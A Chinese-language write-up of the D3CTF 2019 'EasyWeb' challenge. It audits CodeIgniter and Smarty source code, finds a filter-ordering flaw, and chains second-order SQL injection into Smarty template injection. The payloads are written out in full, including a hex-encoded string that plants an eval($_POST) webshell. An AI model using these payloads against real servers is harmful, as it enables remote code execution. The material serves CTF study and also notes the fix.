[D3CTF 2019]EasyWeb (c)
阅读源码发现CodeIgniter-3.1.11,网上搜一下发现是个代码框架(CI框架),php框架
尝试找框架漏洞,无果
登录框尝试sql注入,单引号等测试无果,发现后端同时使用了mysqli和pdd,一般认为pdd的预编译可以完全杜绝sql注入
尝试代码审计
$route['default_controller'] = 'user/login';
找到默认路由
推测和thinkphp类似,user/login即user.class的login方法,随后我直接访问页面验证了我的想法
public function index()
{
if ($this->session->has_userdata('userId')) {
$userView = $this->Render_model->get_view($this->session->userId);
$prouserView = 'data:,' . $userView;
$this->username = array('username' => $this->getUsername($this->session->userId));
$this->ci_smarty->assign('username', $this->username);
$this->ci_smarty->display($prouserView);
} else {
redirect('/user/login');
}
}
public function get_view($userId){
$res = $this->db->query("SELECT username FROM userTable WHERE userId='$userId'")->result();
if($res){
$username = $res[0]->username;
$username = $this->sql_safe($username);
$username = $this->safe_render($username);
$userView = $this->db->query("SELECT userView FROM userRender WHERE username='$username'")->result();
$userView = $userView[0]->userView;
return $userView;
}else{
return false;
}
}
但是看到下面两个waf就发现有问题
private function safe_render($username){
$username = str_replace(array('{','}'),'',$username);
return $username;
}
private function sql_safe($sql){
if(preg_match('/and|or|order|delete|select|union|load_file|updatexml|\(|extractvalue|\)|/i',$sql)){
return '';
}else{
return $sql;
}
}
事实上,get_view里面是这样写
$username = $this->sql_safe($username);
$username = $this->safe_render($username);
那么我们如果联想双写绕过(就是字符串被php替换了)的思路->很容易想到safe_render执行完后有可能产生恶意payload
例如a{nd
所以改掉这个Bug也很简单,换个执行顺序即可,要先safe_render($username);再sql_safe($username);
不过这个地方已经属于二次注入了,从数据库取出来的
smarty有模板注入漏洞
当出现
require_once('./libs/Smarty.class.php');
$smarty->display(可控);
认为存在smarty模板注入
回到index(),取出結果后加上data:放入了$prouserView
$userView = $this->Render_model->get_view($this->session->userId);
$prouserView = 'data:,' . $userView;
$this->username = array('username' => $this->getUsername($this->session->userId));
$this->ci_smarty->assign('username', $this->username);
$this->ci_smarty->display($prouserView);
由于看到源码知道flag在根目录不在数据库,数据库也没有设置读写权限,那么有知道没有任何过滤就可以直接尝试模板注入rce
根据mysql可构造
{{$smarty.version}}
' u{nion s{elect 0x7b7b24736d617274792e76657273696f6e7d7d#
' u{nion s{elect 0x7B7B7068707D7D6576616C28245F504F53545B2774686169275D293B7B7B2F7068707D7D#
写马成功
不过这是非预期,下面讲讲预期解